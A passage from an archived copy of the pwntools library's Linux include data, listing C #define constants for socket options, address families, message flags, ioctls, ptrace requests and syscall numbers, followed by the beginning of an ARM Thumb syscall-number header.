SO_ERROR 4 #define SO_DONTROUTE 5 #define SO_BROADCAST 6 #define SO_SNDBUF 7 #define SO_RCVBUF 8 #define SO_KEEPALIVE 9 #define SO_OOBINLINE 10 #define SO_NO_CHECK 11 #define SO_PRIORITY 12 #define SO_LINGER 13 #define SO_BSDCOMPAT 14 #define SO_REUSEPORT 15 #define SO_PASSCRED 16 #define SO_PEERCRED 17 #define SO_RCVLOWAT 18 #define SO_SNDLOWAT 19 #define SO_RCVTIMEO 20 #define SO_SNDTIMEO 21 #define SO_SECURITY_AUTHENTICATION 22 #define SO_SECURITY_ENCRYPTION_TRANSPORT 23 #define SO_SECURITY_ENCRYPTION_NETWORK 24 #define SO_BINDTODEVICE 25 #define SO_ATTACH_FILTER 26 #define SO_DETACH_FILTER 27 #define SO_GET_FILTER 26 #define SO_PEERNAME 28 #define SO_TIMESTAMP 29 #define SCM_TIMESTAMP 29 #define SO_ACCEPTCONN 30 #define SO_PEERSEC 31 #define SO_SNDBUFFORCE 32 #define SO_RCVBUFFORCE 33 #define SO_PASSSEC 34 #define SO_TIMESTAMPNS 35 #define SCM_TIMESTAMPNS 35 #define SO_MARK 36 #define SO_TIMESTAMPING 37 #define SCM_TIMESTAMPING 37 #define SO_PROTOCOL 38 #define SO_DOMAIN 39 #define SO_RXQ_OVFL 40 #define SO_WIFI_STATUS 41 #define SCM_WIFI_STATUS 41 #define SO_PEEK_OFF 42 #define SO_NOFCS 43 #define SO_LOCK_FILTER 44 #define SO_SELECT_ERR_QUEUE 45 #define SO_BUSY_POLL 46 #define SO_MAX_PACING_RATE 47 #define SO_BPF_EXTENSIONS 48 #define SO_INCOMING_CPU 49 #define SO_ATTACH_BPF 50 #define SO_DETACH_BPF 27 #define SO_ATTACH_REUSEPORT_CBPF 51 #define SO_ATTACH_REUSEPORT_EBPF 52 #define SO_CNX_ADVICE 53 #define SCM_TIMESTAMPING_OPT_STATS 54 #define SO_MEMINFO 55 #define SO_INCOMING_NAPI_ID 56 #define SO_COOKIE 57 #define SCM_TIMESTAMPING_PKTINFO 58 #define SO_PEERGROUPS 59 #define SO_ZEROCOPY 60 #define SOCK_STREAM 1 #define SOCK_DGRAM 2 #define SOCK_RAW 3 #define SOCK_RDM 4 #define SOCK_SEQPACKET 5 #define SOCK_DCCP 6 #define SOCK_PACKET 10 #define UIO_FASTIOV 8 #define UIO_MAXIOV 1024 #define SCM_RIGHTS 0x01 #define SCM_CREDENTIALS 0x02 #define SCM_CONNECT 0x03 #define AF_UNSPEC 0 #define AF_UNIX 1 #define AF_LOCAL 1 #define AF_INET 2 #define AF_AX25 3 #define AF_IPX 4 #define AF_APPLETALK 5 #define AF_NETROM 6 #define AF_BRIDGE 7 #define AF_ATMPVC 8 #define AF_X25 9 #define AF_INET6 10 #define AF_ROSE 11 #define AF_DECnet 12 #define AF_NETBEUI 13 #define AF_SECURITY 14 #define AF_KEY 15 #define AF_NETLINK 16 #define AF_ROUTE 16 #define AF_PACKET 17 #define AF_ASH 18 #define AF_ECONET 19 #define AF_ATMSVC 20 #define AF_SNA 22 #define AF_IRDA 23 #define AF_PPPOX 24 #define AF_WANPIPE 25 #define AF_LLC 26 #define AF_IB 27 #define AF_MPLS 28 #define AF_CAN 29 #define AF_TIPC 30 #define AF_BLUETOOTH 31 #define AF_IUCV 32 #define AF_RXRPC 33 #define AF_ISDN 34 #define AF_PHONET 35 #define AF_IEEE802154 36 #define AF_CAIF 37 #define AF_ALG 38 #define AF_NFC 39 #define AF_VSOCK 40 #define AF_KCM 41 #define AF_QIPCRTR 42 #define AF_SMC 43 #define AF_MAX 44 #define PF_UNSPEC 0 #define PF_UNIX 1 #define PF_LOCAL 1 #define PF_INET 2 #define PF_AX25 3 #define PF_IPX 4 #define PF_APPLETALK 5 #define PF_NETROM 6 #define PF_BRIDGE 7 #define PF_ATMPVC 8 #define PF_X25 9 #define PF_INET6 10 #define PF_ROSE 11 #define PF_DECnet 12 #define PF_NETBEUI 13 #define PF_SECURITY 14 #define PF_KEY 15 #define PF_NETLINK 16 #define PF_ROUTE 16 #define PF_PACKET 17 #define PF_ASH 18 #define PF_ECONET 19 #define PF_ATMSVC 20 #define PF_SNA 22 #define PF_IRDA 23 #define PF_PPPOX 24 #define PF_WANPIPE 25 #define PF_LLC 26 #define PF_IB 27 #define PF_MPLS 28 #define PF_CAN 29 #define PF_TIPC 30 #define PF_BLUETOOTH 31 #define PF_IUCV 32 #define PF_RXRPC 33 #define PF_ISDN 34 #define PF_PHONET 35 #define PF_IEEE802154 36 #define PF_CAIF 37 #define PF_ALG 38 #define PF_NFC 39 #define PF_VSOCK 40 #define PF_KCM 41 #define PF_QIPCRTR 42 #define PF_SMC 43 #define PF_MAX 44 #define SOMAXCONN 128 #define MSG_OOB 1 #define MSG_PEEK 2 #define MSG_DONTROUTE 4 #define MSG_TRYHARD 4 #define MSG_CTRUNC 8 #define MSG_PROBE 0x10 #define MSG_TRUNC 0x20 #define MSG_DONTWAIT 0x40 #define MSG_EOR 0x80 #define MSG_WAITALL 0x100 #define MSG_FIN 0x200 #define MSG_SYN 0x400 #define MSG_CONFIRM 0x800 #define MSG_RST 0x1000 #define MSG_ERRQUEUE 0x2000 #define MSG_NOSIGNAL 0x4000 #define MSG_MORE 0x8000 #define MSG_WAITFORONE 0x10000 #define MSG_SENDPAGE_NOTLAST 0x20000 #define MSG_BATCH 0x40000 #define MSG_EOF 0x200 #define MSG_ZEROCOPY 0x4000000 #define MSG_FASTOPEN 0x20000000 #define MSG_CMSG_CLOEXEC 0x40000000 #define SOL_IP 0 #define SOL_TCP 6 #define SOL_UDP 17 #define SOL_IPV6 41 #define SOL_ICMPV6 58 #define SOL_SCTP 132 #define SOL_UDPLITE 136 #define SOL_RAW 255 #define SOL_IPX 256 #define SOL_AX25 257 #define SOL_ATALK 258 #define SOL_NETROM 259 #define SOL_ROSE 260 #define SOL_DECNET 261 #define SOL_X25 262 #define SOL_PACKET 263 #define SOL_ATM 264 #define SOL_AAL 265 #define SOL_IRDA 266 #define SOL_NETBEUI 267 #define SOL_LLC 268 #define SOL_DCCP 269 #define SOL_NETLINK 270 #define SOL_TIPC 271 #define SOL_RXRPC 272 #define SOL_PPPOL2TP 273 #define SOL_BLUETOOTH 274 #define SOL_PNPIPE 275 #define SOL_RDS 276 #define SOL_IUCV 277 #define SOL_CAIF 278 #define SOL_ALG 279 #define SOL_NFC 280 #define SOL_KCM 281 #define SOL_TLS 282 #define IPX_TYPE 1 #define SHUT_RD 0 #define SHUT_WR 1 #define SHUT_RDWR 2 #define NI_NOFQDN 1 #define NI_NUMERICHOST 2 #define NI_NAMEREQD 4 #define NI_NUMERICSERV 8 #define NI_DGRAM 16 #define EAI_FAMILY -1 #define EAI_SOCKTYPE -2 #define EAI_BADFLAGS -3 #define EAI_NONAME -4 #define EAI_SERVICE -5 #define EAI_ADDRFAMILY -6 #define EAI_NODATA -7 #define EAI_MEMORY -8 #define EAI_FAIL -9 #define EAI_AGAIN -10 #define EAI_SYSTEM -11 #define AI_NUMERICHOST 1 #define AI_CANONNAME 2 #define AI_PASSIVE 4 #define AI_NUMERICSERV 8 #define AI_ADDRCONFIG 16 #define AI_V4MAPPED 32 #define AI_ALL 64 #define SIOCADDRT 0x890B #define SIOCDELRT 0x890C #define SIOCRTMSG 0x890D #define SIOCGIFNAME 0x8910 #define SIOCSIFLINK 0x8911 #define SIOCGIFCONF 0x8912 #define SIOCGIFFLAGS 0x8913 #define SIOCSIFFLAGS 0x8914 #define SIOCGIFADDR 0x8915 #define SIOCSIFADDR 0x8916 #define SIOCGIFDSTADDR 0x8917 #define SIOCSIFDSTADDR 0x8918 #define SIOCGIFBRDADDR 0x8919 #define SIOCSIFBRDADDR 0x891a #define SIOCGIFNETMASK 0x891b #define SIOCSIFNETMASK 0x891c #define SIOCGIFMETRIC 0x891d #define SIOCSIFMETRIC 0x891e #define SIOCGIFMEM 0x891f #define SIOCSIFMEM 0x8920 #define SIOCGIFMTU 0x8921 #define SIOCSIFMTU 0x8922 #define SIOCSIFNAME 0x8923 #define SIOCSIFHWADDR 0x8924 #define SIOCGIFENCAP 0x8925 #define SIOCSIFENCAP 0x8926 #define SIOCGIFHWADDR 0x8927 #define SIOCGIFSLAVE 0x8929 #define SIOCSIFSLAVE 0x8930 #define SIOCADDMULTI 0x8931 #define SIOCDELMULTI 0x8932 #define SIOCGIFINDEX 0x8933 #define SIOGIFINDEX 0x8933 #define SIOCSIFPFLAGS 0x8934 #define SIOCGIFPFLAGS 0x8935 #define SIOCDIFADDR 0x8936 #define SIOCSIFHWBROADCAST 0x8937 #define SIOCGIFCOUNT 0x8938 #define SIOCGIFBR 0x8940 #define SIOCSIFBR 0x8941 #define SIOCGIFTXQLEN 0x8942 #define SIOCSIFTXQLEN 0x8943 #define SIOCGIFDIVERT 0x8944 #define SIOCSIFDIVERT 0x8945 #define SIOCETHTOOL 0x8946 #define SIOCDARP 0x8953 #define SIOCGARP 0x8954 #define SIOCSARP 0x8955 #define SIOCDRARP 0x8960 #define SIOCGRARP 0x8961 #define SIOCSRARP 0x8962 #define SIOCGIFMAP 0x8970 #define SIOCSIFMAP 0x8971 #define SIOCADDDLCI 0x8980 #define SIOCDELDLCI 0x8981 #define SIOCDEVPRIVATE 0x89F0 #define F_LINUX_SPECIFIC_BASE 1024 #define F_SETOWN_EX 15 #define F_GETOWN_EX 16 #define F_GETOWNER_UIDS 17 #define F_OFD_GETLK 36 #define F_OFD_SETLK 37 #define F_OFD_SETLKW 38 #define F_OWNER_TID 0 #define F_OWNER_PID 1 #define F_OWNER_PGRP 2 #define AT_FDCWD -100 #define AT_SYMLINK_NOFOLLOW 0x100 #define AT_REMOVEDIR 0x200 #define AT_SYMLINK_FOLLOW 0x400 #define AT_NO_AUTOMOUNT 0x800 #define AT_EMPTY_PATH 0x1000 #define AT_EACCESS 0x200 #define MREMAP_MAYMOVE 1 #define MREMAP_FIXED 2 #define PROT_READ 0x1 #define PROT_WRITE 0x2 #define PROT_EXEC 0x4 #define PROT_SEM 0x8 #define PROT_NONE 0x0 #define PROT_GROWSDOWN 0x01000000 #define PROT_GROWSUP 0x02000000 #define MAP_SHARED 0x01 #define MAP_PRIVATE 0x02 #define MAP_TYPE 0xf #define MADV_REMOVE 9 #define MADV_DONTFORK 10 #define MADV_DOFORK 11 #define MADV_MERGEABLE 12 #define MADV_UNMERGEABLE 13 #define MADV_HUGEPAGE 14 #define MADV_NOHUGEPAGE 15 #define MADV_DONTDUMP 16 #define MADV_DODUMP 17 #define MADV_HWPOISON 100 #define MADV_SOFT_OFFLINE 101 #define MLOCK_ONFAULT 1 #define MAP_FILE 0 #define PTRACE_TRACEME 0 #define PTRACE_PEEKTEXT 1 #define PTRACE_PEEKDATA 2 #define PTRACE_PEEKUSR 3 #define PTRACE_PEEKUSER 3 #define PTRACE_POKETEXT 4 #define PTRACE_POKEDATA 5 #define PTRACE_POKEUSR 6 #define PTRACE_POKEUSER 6 #define PTRACE_CONT 7 #define PTRACE_KILL 8 #define PTRACE_SINGLESTEP 9 #define PTRACE_ATTACH 0x10 #define PTRACE_DETACH 0x11 #define PTRACE_SYSCALL 24 #define PTRACE_GETEVENTMSG 0x4201 #define PTRACE_GETSIGINFO 0x4202 #define PTRACE_SETSIGINFO 0x4203 #define PTRACE_O_TRACESYSGOOD 0x00000001 #define PTRACE_O_TRACEFORK 0x00000002 #define PTRACE_O_TRACEVFORK 0x00000004 #define PTRACE_O_TRACECLONE 0x00000008 #define PTRACE_O_TRACEEXEC 0x00000010 #define PTRACE_O_TRACEVFORKDONE 0x00000020 #define PTRACE_O_TRACEEXIT 0x00000040 #define PTRACE_O_MASK 0x0000007f #define PTRACE_EVENT_FORK 1 #define PTRACE_EVENT_VFORK 2 #define PTRACE_EVENT_CLONE 3 #define PTRACE_EVENT_EXEC 4 #define PTRACE_EVENT_VFORK_DONE 5 #define PTRACE_EVENT_EXIT 6 #define PT_TRACE_ME 0 #define PT_READ_I 1 #define PT_READ_D 2 #define PT_READ_U 3 #define PT_WRITE_I 4 #define PT_WRITE_D 5 #define PT_WRITE_U 6 #define PT_CONTINUE 7 #define PT_KILL 8 #define PT_STEP 9 #define PT_ATTACH 0x10 #define PT_DETACH 0x11 #define SYS_accept 99 #define SYS_accept4 323 #define SYS_access 33 #define SYS_acct 51 #define SYS_add_key 281 #define SYS_adjtimex 219 #define SYS_afs_syscall 227 #define SYS_alarm 27 #define SYS_aplib 255 #define SYS_bdflush 225 #define SYS_bind 353 #define SYS_bpf 349 #define SYS_brk 17 #define SYS_capget 21 #define SYS_capset 22 #define SYS_chdir 12 #define SYS_chmod 15 #define SYS_chown 13 #define SYS_chroot 61 #define SYS_clock_adjtime 334 #define SYS_clock_getres 258 #define SYS_clock_gettime 257 #define SYS_clock_nanosleep 259 #define SYS_clock_settime 256 #define SYS_clone 217 #define SYS_close 6 #define SYS_connect 98 #define SYS_copy_file_range 357 #define SYS_creat 8 #define SYS_create_module 221 #define SYS_delete_module 222 #define SYS_dup 41 #define SYS_dup2 90 #define SYS_dup3 320 #define SYS_epoll_create 193 #define SYS_epoll_create1 319 #define SYS_epoll_ctl 194 #define SYS_epoll_pwait 309 #define SYS_epoll_wait 195 #define SYS_eventfd 313 #define SYS_eventfd2 318 #define SYS_execv 11 #define SYS_execve 59 #define SYS_execveat 350 #define SYS_exit 1 #define SYS_exit_group 188 #define SYS_faccessat 296 #define SYS_fadvise64 209 #define SYS_fadvise64_64 210 #define SYS_fallocate 314 #define SYS_fanotify_init 329 #define SYS_fanotify_mark 330 #define SYS_fchdir 176 #define SYS_fchmod 124 #define SYS_fchmodat 295 #define SYS_fchown 123 #define SYS_fchownat 287 #define SYS_fcntl 92 #define SYS_fdatasync 253 #define SYS_fgetxattr 177 #define SYS_finit_module 342 #define SYS_flistxattr 180 #define SYS_flock 131 #define SYS_fork 2 #define SYS_fremovexattr 186 #define SYS_fsconfig 431 #define SYS_fsetxattr 171 #define SYS_fsmount 432 #define SYS_fsopen 430 #define SYS_fspick 433 #define SYS_fstat 62 #define SYS_fstatat64 289 #define SYS_fstatfs 158 #define SYS_fstatfs64 235 #define SYS_fsync 95 #define SYS_ftruncate 130 #define SYS_futex 142 #define SYS_futimesat 288 #define SYS_getcpu 308 #define SYS_getcwd 119 #define SYS_getdents 174 #define SYS_getdents64 154 #define SYS_getdomainname 162 #define SYS_getegid 50 #define SYS_geteuid 49 #define SYS_getgid 47 #define SYS_getgroups 79 #define SYS_getitimer 86 #define SYS_get_kernel_syms 223 #define SYS_get_mempolicy 304 #define SYS_getpagesize 64 #define SYS_getpeername 141 #define SYS_getpgid 224 #define SYS_getpgrp 81 #define SYS_getpid 20 #define SYS_getppid 197 #define SYS_getpriority 100 #define SYS_getrandom 347 #define SYS_getresgid 111 #define SYS_getresuid 109 #define SYS_getrlimit 144 #define SYS_get_robust_list 301 #define SYS_getrusage 117 #define SYS_getsid 252 #define SYS_getsockname 150 #define SYS_getsockopt 118 #define SYS_gettid 143 #define SYS_gettimeofday 116 #define SYS_getuid 24 #define SYS_getxattr 172 #define SYS_init_module 190 #define SYS_inotify_init1 322 #define SYS_io_cancel 271 #define SYS_ioctl 54 #define SYS_io_destroy 269 #define SYS_io_getevents 272 #define SYS_io_pgetevents 361 #define SYS_io_setup 268 #define SYS_io_submit 270 #define SYS_io_uring_enter 426 #define SYS_io_uring_register 427 #define SYS_io_uring_setup 425 #define SYS_ipc 215 #define SYS_kcmp 341 #define SYS_kern_features 340 #define SYS_kexec_load 306 #define SYS_keyctl 283 #define SYS_kill 37 #define SYS_lchown 16 #define SYS_lgetxattr 173 #define SYS_link 9 #define SYS_linkat 292 #define SYS_listen 354 #define SYS_listxattr 178 #define SYS_llistxattr 179 #define SYS__llseek 236 #define SYS_lookup_dcookie 208 #define SYS_lremovexattr 182 #define SYS_lseek 19 #define SYS_lsetxattr 170 #define SYS_lstat 40 #define SYS_madvise 75 #define SYS_mbind 303 #define SYS_membarrier 351 #define SYS_memfd_create 348 #define SYS_memory_ordering 52 #define SYS_migrate_pages 302 #define SYS_mincore 78 #define SYS_mkdir 136 #define SYS_mkdirat 285 #define SYS_mknod 14 #define SYS_mknodat 286 #define SYS_mlock 237 #define SYS_mlock2 356 #define SYS_mlockall 239 #define SYS_mmap 71 #define SYS_mount 167 #define SYS_move_mount 429 #define SYS_move_pages 307 #define SYS_mprotect 74 #define SYS_mq_getsetattr 278 #define SYS_mq_notify 277 #define SYS_mq_open 273 #define SYS_mq_timedreceive 276 #define SYS_mq_timedsend 275 #define SYS_mq_unlink 274 #define SYS_mremap 250 #define SYS_msgctl 402 #define SYS_msgget 399 #define SYS_msgrcv 401 #define SYS_msgsnd 400 #define SYS_msync 65 #define SYS_munlock 238 #define SYS_munlockall 240 #define SYS_munmap 73 #define SYS_name_to_handle_at 332 #define SYS_nanosleep 249 #define SYS__newselect 230 #define SYS_nfsservctl 254 #define SYS_nice 34 #define SYS_oldlstat 202 #define SYS_open 5 #define SYS_openat 284 #define SYS_openat2 437 #define SYS_open_by_handle_at 333 #define SYS_open_tree 428 #define SYS_pause 29 #define SYS_pciconfig_read 148 #define SYS_pciconfig_write 149 #define SYS_perfctr 18 #define SYS_perf_event_open 327 #define SYS_personality 191 #define SYS_pidfd_getfd 438 #define SYS_pidfd_open 434 #define SYS_pidfd_send_signal 424 #define SYS_pipe 42 #define SYS_pipe2 321 #define SYS_pivot_root 146 #define SYS_pkey_alloc 363 #define SYS_pkey_free 364 #define SYS_pkey_mprotect 362 #define SYS_poll 153 #define SYS_ppoll 298 #define SYS_prctl 147 #define SYS_pread 67 #define SYS_preadv 324 #define SYS_preadv2 358 #define SYS_prlimit64 331 #define SYS_process_vm_readv 338 #define SYS_process_vm_writev 339 #define SYS_pselect6 297 #define SYS_ptrace 26 #define SYS_pwrite 68 #define SYS_pwritev 325 #define SYS_pwritev2 359 #define SYS_query_module 184 #define SYS_quotactl 165 #define SYS_read 3 #define SYS_readahead 205 #define SYS_readdir 204 #define SYS_readlink 58 #define SYS_readlinkat 294 #define SYS_readv 120 #define SYS_reboot 55 #define SYS_recvfrom 125 #define SYS_recvmmsg 328 #define SYS_recvmsg 113 #define SYS_remap_file_pages 192 #define SYS_removexattr 181 #define SYS_rename 128 #define SYS_renameat 291 #define SYS_renameat2 345 #define SYS_request_key 282 #define SYS_rmdir 137 #define SYS_rseq 365 #define SYS_rt_sigaction 102 #define SYS_rt_sigpending 104 #define SYS_rt_sigprocmask 103 #define SYS_rt_sigqueueinfo 106 #define SYS_rt_sigreturn 101 #define SYS_rt_sigsuspend 107 #define SYS_rt_sigtimedwait 105 #define SYS_rt_tgsigqueueinfo 326 #define SYS_sched_getaffinity 260 #define SYS_sched_getattr 344 #define SYS_sched_getparam 242 #define SYS_sched_get_priority_max 246 #define SYS_sched_get_priority_min 247 #define SYS_sched_getscheduler 244 #define SYS_sched_rr_get_interval 248 #define SYS_sched_setaffinity 261 #define SYS_sched_setattr 343 #define SYS_sched_setparam 241 #define SYS_sched_setscheduler 243 #define SYS_sched_yield 245 #define SYS_seccomp 346 #define SYS_select 93 #define SYS_semctl 394 #define SYS_semget 393 #define SYS_semtimedop 392 #define SYS_sendfile 39 #define SYS_sendfile64 140 #define SYS_sendmmsg 336 #define SYS_sendmsg 114 #define SYS_sendto 133 #define SYS_setdomainname 163 #define SYS_setfsgid 229 #define SYS_setfsuid 228 #define SYS_setgid 46 #define SYS_setgroups 80 #define SYS_sethostname 88 #define SYS_setitimer 83 #define SYS_set_mempolicy 305 #define SYS_setns 337 #define SYS_setpgid 185 #define SYS_setpriority 96 #define SYS_setregid 127 #define SYS_setresgid 110 #define SYS_setresuid 108 #define SYS_setreuid 126 #define SYS_setrlimit 145 #define SYS_set_robust_list 300 #define SYS_setsid 175 #define SYS_setsockopt 355 #define SYS_set_tid_address 166 #define SYS_settimeofday 122 #define SYS_setuid 23 #define SYS_setxattr 169 #define SYS_sgetmask 199 #define SYS_shmat 397 #define SYS_shmctl 396 #define SYS_shmdt 398 #define SYS_shmget 395 #define SYS_shutdown 134 #define SYS_sigaction 198 #define SYS_sigaltstack 28 #define SYS_signal 48 #define SYS_signalfd 311 #define SYS_signalfd4 317 #define SYS_sigpending 183 #define SYS_sigprocmask 220 #define SYS_sigreturn 216 #define SYS_sigsuspend 201 #define SYS_socket 97 #define SYS_socketcall 206 #define SYS_socketpair 135 #define SYS_ssetmask 200 #define SYS_stat 38 #define SYS_statfs 157 #define SYS_statfs64 234 #define SYS_statx 360 #define SYS_stime 233 #define SYS_swapoff 213 #define SYS_swapon 85 #define SYS_symlink 57 #define SYS_symlinkat 293 #define SYS_sync 36 #define SYS_syncfs 335 #define SYS__sysctl 251 #define SYS_sysfs 226 #define SYS_sysinfo 214 #define SYS_syslog 207 #define SYS_tgkill 211 #define SYS_timer_create 266 #define SYS_timer_delete 265 #define SYS_timerfd 312 #define SYS_timerfd_gettime 316 #define SYS_timerfd_settime 315 #define SYS_timer_getoverrun 264 #define SYS_timer_gettime 263 #define SYS_timer_settime 262 #define SYS_times 43 #define SYS_tkill 187 #define SYS_truncate 129 #define SYS_umask 60 #define SYS_umount 159 #define SYS_umount2 45 #define SYS_uname 189 #define SYS_unlink 10 #define SYS_unlinkat 290 #define SYS_unshare 299 #define SYS_uselib 203 #define SYS_userfaultfd 352 #define SYS_ustat 168 #define SYS_utime 30 #define SYS_utimensat 310 #define SYS_utimes 138 #define SYS_utrap_install 164 #define SYS_vfork 66 #define SYS_vhangup 76 #define SYS_wait4 7 #define SYS_waitid 279 #define SYS_waitpid 212 #define SYS_write 4 #define SYS_writev 121 Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/linux/thumb.h000066400000000000000000001522041507273764500246470ustar00rootroot00000000000000#define _ARM_SYSCALL_H 1 #define __NR_OABI_SYSCALL_BASE 0x900000 #define __NR_SYSCALL_BASE 0 #define __NR_restart_syscall (0+ 0) #define __NR_exit (0+ 1) #define __NR_fork (0+ 2) #define __NR_read (0+ 3) #define __NR_write (0+ 4) #define __NR_open (0+ 5) #define __NR_close (0+ 6) #define __NR_creat (0+ 8) #define __NR_link (0+ 9) #define __NR_unlink (0+ 10) #define __NR_execve (0+ 11) #define __NR_chdir (0+ 12) #define __NR_time (0+ 13) #define __NR_mknod (0+ 14) #define __NR_chmod (0+ 15) #define __NR_lchown (0+ 16) #define __NR_lseek (0+ 19) #define __NR_getpid (0+ 20) #define __NR_mount (0+ 21) #define __NR_umount (0+ 22) #define __NR_setuid (0+ 23) #define __NR_getuid (0+ 24) #define __NR_stime (0+ 25) #define __NR_ptrace (0+ 26) #define __NR_alarm (0+ 27) #define __NR_pause (0+ 29) #define __NR_utime (0+ 30) #define __NR_access (0+ 33) #define __NR_nice (0+ 34) #define __NR_sync (0+ 36) #define __NR_kill (0+ 37) #define __NR_rename (0+ 38) #define __NR_mkdir (0+ 39) #define __NR_rmdir (0+ 40) #define __NR_dup (0+ 41) #define __NR_pipe (0+ 42) #define __NR_times (0+ 43) #define __NR_brk (0+ 45) #define __NR_setgid (0+ 46) #define __NR_getgid (0+ 47) #define __NR_geteuid (0+ 49) #define __NR_getegid (0+ 50) #define __NR_acct (0+ 51) #define __NR_umount2 (0+ 52) #define __NR_ioctl (0+ 54) #define __NR_fcntl (0+ 55) #define __NR_setpgid (0+ 57) #define __NR_umask (0+ 60) #define __NR_chroot (0+ 61) #define __NR_ustat (0+ 62) #define __NR_dup2 (0+ 63) #define __NR_getppid (0+ 64) #define __NR_getpgrp (0+ 65) #define __NR_setsid (0+ 66) #define __NR_sigaction (0+ 67) #define __NR_setreuid (0+ 70) #define __NR_setregid (0+ 71) #define __NR_sigsuspend (0+ 72) #define __NR_sigpending (0+ 73) #define __NR_sethostname (0+ 74) #define __NR_setrlimit (0+ 75) #define __NR_getrlimit (0+ 76) #define __NR_getrusage (0+ 77) #define __NR_gettimeofday (0+ 78) #define __NR_settimeofday (0+ 79) #define __NR_getgroups (0+ 80) #define __NR_setgroups (0+ 81) #define __NR_select (0+ 82) #define __NR_symlink (0+ 83) #define __NR_readlink (0+ 85) #define __NR_uselib (0+ 86) #define __NR_swapon (0+ 87) #define __NR_reboot (0+ 88) #define __NR_readdir (0+ 89) #define __NR_mmap (0+ 90) #define __NR_munmap (0+ 91) #define __NR_truncate (0+ 92) #define __NR_ftruncate (0+ 93) #define __NR_fchmod (0+ 94) #define __NR_fchown (0+ 95) #define __NR_getpriority (0+ 96) #define __NR_setpriority (0+ 97) #define __NR_statfs (0+ 99) #define __NR_fstatfs (0+100) #define __NR_socketcall (0+102) #define __NR_syslog (0+103) #define __NR_setitimer (0+104) #define __NR_getitimer (0+105) #define __NR_stat (0+106) #define __NR_lstat (0+107) #define __NR_fstat (0+108) #define __NR_vhangup (0+111) #define __NR_syscall (0+113) #define __NR_wait4 (0+114) #define __NR_swapoff (0+115) #define __NR_sysinfo (0+116) #define __NR_ipc (0+117) #define __NR_fsync (0+118) #define __NR_sigreturn (0+119) #define __NR_clone (0+120) #define __NR_setdomainname (0+121) #define __NR_uname (0+122) #define __NR_adjtimex (0+124) #define __NR_mprotect (0+125) #define __NR_sigprocmask (0+126) #define __NR_init_module (0+128) #define __NR_delete_module (0+129) #define __NR_quotactl (0+131) #define __NR_getpgid (0+132) #define __NR_fchdir (0+133) #define __NR_bdflush (0+134) #define __NR_sysfs (0+135) #define __NR_personality (0+136) #define __NR_setfsuid (0+138) #define __NR_setfsgid (0+139) #define __NR__llseek (0+140) #define __NR_getdents (0+141) #define __NR__newselect (0+142) #define __NR_flock (0+143) #define __NR_msync (0+144) #define __NR_readv (0+145) #define __NR_writev (0+146) #define __NR_getsid (0+147) #define __NR_fdatasync (0+148) #define __NR__sysctl (0+149) #define __NR_mlock (0+150) #define __NR_munlock (0+151) #define __NR_mlockall (0+152) #define __NR_munlockall (0+153) #define __NR_sched_setparam (0+154) #define __NR_sched_getparam (0+155) #define __NR_sched_setscheduler (0+156) #define __NR_sched_getscheduler (0+157) #define __NR_sched_yield (0+158) #define __NR_sched_get_priority_max (0+159) #define __NR_sched_get_priority_min (0+160) #define __NR_sched_rr_get_interval (0+161) #define __NR_nanosleep (0+162) #define __NR_mremap (0+163) #define __NR_setresuid (0+164) #define __NR_getresuid (0+165) #define __NR_poll (0+168) #define __NR_nfsservctl (0+169) #define __NR_setresgid (0+170) #define __NR_getresgid (0+171) #define __NR_prctl (0+172) #define __NR_rt_sigreturn (0+173) #define __NR_rt_sigaction (0+174) #define __NR_rt_sigprocmask (0+175) #define __NR_rt_sigpending (0+176) #define __NR_rt_sigtimedwait (0+177) #define __NR_rt_sigqueueinfo (0+178) #define __NR_rt_sigsuspend (0+179) #define __NR_pread64 (0+180) #define __NR_pwrite64 (0+181) #define __NR_chown (0+182) #define __NR_getcwd (0+183) #define __NR_capget (0+184) #define __NR_capset (0+185) #define __NR_sigaltstack (0+186) #define __NR_sendfile (0+187) #define __NR_vfork (0+190) #define __NR_ugetrlimit (0+191) #define __NR_mmap2 (0+192) #define __NR_truncate64 (0+193) #define __NR_ftruncate64 (0+194) #define __NR_stat64 (0+195) #define __NR_lstat64 (0+196) #define __NR_fstat64 (0+197) #define __NR_lchown32 (0+198) #define __NR_getuid32 (0+199) #define __NR_getgid32 (0+200) #define __NR_geteuid32 (0+201) #define __NR_getegid32 (0+202) #define __NR_setreuid32 (0+203) #define __NR_setregid32 (0+204) #define __NR_getgroups32 (0+205) #define __NR_setgroups32 (0+206) #define __NR_fchown32 (0+207) #define __NR_setresuid32 (0+208) #define __NR_getresuid32 (0+209) #define __NR_setresgid32 (0+210) #define __NR_getresgid32 (0+211) #define __NR_chown32 (0+212) #define __NR_setuid32 (0+213) #define __NR_setgid32 (0+214) #define __NR_setfsuid32 (0+215) #define __NR_setfsgid32 (0+216) #define __NR_getdents64 (0+217) #define __NR_pivot_root (0+218) #define __NR_mincore (0+219) #define __NR_madvise (0+220) #define __NR_fcntl64 (0+221) #define __NR_gettid (0+224) #define __NR_readahead (0+225) #define __NR_setxattr (0+226) #define __NR_lsetxattr (0+227) #define __NR_fsetxattr (0+228) #define __NR_getxattr (0+229) #define __NR_lgetxattr (0+230) #define __NR_fgetxattr (0+231) #define __NR_listxattr (0+232) #define __NR_llistxattr (0+233) #define __NR_flistxattr (0+234) #define __NR_removexattr (0+235) #define __NR_lremovexattr (0+236) #define __NR_fremovexattr (0+237) #define __NR_tkill (0+238) #define __NR_sendfile64 (0+239) #define __NR_futex (0+240) #define __NR_sched_setaffinity (0+241) #define __NR_sched_getaffinity (0+242) #define __NR_io_setup (0+243) #define __NR_io_destroy (0+244) #define __NR_io_getevents (0+245) #define __NR_io_submit (0+246) #define __NR_io_cancel (0+247) #define __NR_exit_group (0+248) #define __NR_lookup_dcookie (0+249) #define __NR_epoll_create (0+250) #define __NR_epoll_ctl (0+251) #define __NR_epoll_wait (0+252) #define __NR_remap_file_pages (0+253) #define __NR_set_tid_address (0+256) #define __NR_timer_create (0+257) #define __NR_timer_settime (0+258) #define __NR_timer_gettime (0+259) #define __NR_timer_getoverrun (0+260) #define __NR_timer_delete (0+261) #define __NR_clock_settime (0+262) #define __NR_clock_gettime (0+263) #define __NR_clock_getres (0+264) #define __NR_clock_nanosleep (0+265) #define __NR_statfs64 (0+266) #define __NR_fstatfs64 (0+267) #define __NR_tgkill (0+268) #define __NR_utimes (0+269) #define __NR_arm_fadvise64_64 (0+270) #define __NR_pciconfig_iobase (0+271) #define __NR_pciconfig_read (0+272) #define __NR_pciconfig_write (0+273) #define __NR_mq_open (0+274) #define __NR_mq_unlink (0+275) #define __NR_mq_timedsend (0+276) #define __NR_mq_timedreceive (0+277) #define __NR_mq_notify (0+278) #define 